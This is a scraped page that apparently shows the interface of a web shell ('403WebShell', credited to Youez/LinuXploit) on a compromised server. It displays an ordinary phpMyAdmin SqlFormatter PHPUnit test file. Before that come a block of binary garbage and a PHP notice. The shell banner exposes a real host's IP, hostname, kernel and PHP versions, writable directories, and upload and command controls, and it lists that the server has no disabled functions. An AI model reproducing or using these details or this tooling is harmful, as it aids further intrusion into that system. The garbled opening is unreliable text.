h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin/test/libraries/sql-formatter/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpMyAdmin/test/libraries/sql-formatter/lib/SqlFormatter_test.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* tests for sql-formatter/lib/SqlFormatter.php
*
* @package PhpMyAdmin-test
*/

/*
* Include to test.
*/
require_once 'libraries/sql-formatter/lib/SqlFormatter.php';

/**
* tests for SqlFormatter
*
* @package PhpMyAdmin-test
*/
class SqlFormatter_Test extends PHPUnit_Framework_TestCase
{
    /**
    * Data provider for testSqlFormatter_format
    *
    * @return array with test data
    */
    public function formatDataProvider() {
        return array(
array(
"SELECT * FROM `test`",
"SELECT 
	* 
FROM 
	`test`",
),

array(
"SELECT customer_id, customer_name, COUNT(order_id) as total FROM customers
INNER JOIN orders ON customers.customer_id = orders.customer_id GROUP BY customer_id,
customer_name HAVING COUNT(order_id) > 5 ORDER BY COUNT(order_id) DESC;",
"SELECT 
	customer_id, 
	customer_name, 
	COUNT(order_id) as total 
FROM 
	customers 
	INNER JOIN orders ON customers.customer_id = orders.customer_id 
GROUP BY 
	customer_id, 
	customer_name 
HAVING 
	COUNT(order_id) > 5 
ORDER BY 
	COUNT(order_id) DESC;"
),

array(
"SELECT a,b as c FROM `ab`; UPDATE `cd` SET `col` = REPLACE(col, 'find', 'replace')
WHERE row_id in (SELECT row_id FROM new_table WHERE col = 's' AND col2 = '3') LIMIT 256",
"SELECT 
	a, 
	b as c 
FROM 
	`ab`; 
UPDATE 
	`cd` 
SET 
	`col` = REPLACE(col, 'find', 'replace') 
WHERE 
	row_id in (
		SELECT 
			row_id 
		FROM 
			new_table 
		WHERE 
			col = 's' 
			AND col2 = '3'
	) 
LIMIT 
	256"
),

array(
"INSERT INTO `a_long_table_name_it_is_really_log_but_still_not_that_long`
(a, b, c, d, e, f, g, a, b, c, d, e, f, c, d, e) 
VALUES (1, 0, '', 1, NOW(), NOW(), 0),
(1, 0, 'helloabcdefgijk', 1, 'hello_world_again', NOW(), 0)",
"INSERT INTO `a_long_table_name_it_is_really_log_but_still_not_that_long` (
	a, b, c, d, e, f, g, a, b, c, d, e, f, c, d, e
) 
VALUES 
	(1, 0, '', 1, NOW(), NOW(), 0), 
	(
		1, 0, 'helloabcdefgijk', 1, 'hello_world_again', 
		NOW(), 0
	)"
),

array(
"ALTER TABLE `PREFIX_product` DROP `reduction_price`,DROP `reduction_percent`, 
DROP `reduction_from`, DROP `reduction_to`",
"ALTER TABLE 
	`PREFIX_product` 
DROP 
	`reduction_price`, 
DROP 
	`reduction_percent`, 
DROP 
	`reduction_from`, 
DROP 
	`reduction_to`"
),
        );
    }

    /**
    * Test for SqlFormatter::format
    *
    * @return void
    *
    * @dataProvider formatDataProvider
    */
    public function testSqlFormatter_format($query, $expected)
    {
        SqlFormatter::$tab = "\t";
        $this->assertEquals(
            $expected,
            SqlFormatter::format($query, false)
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit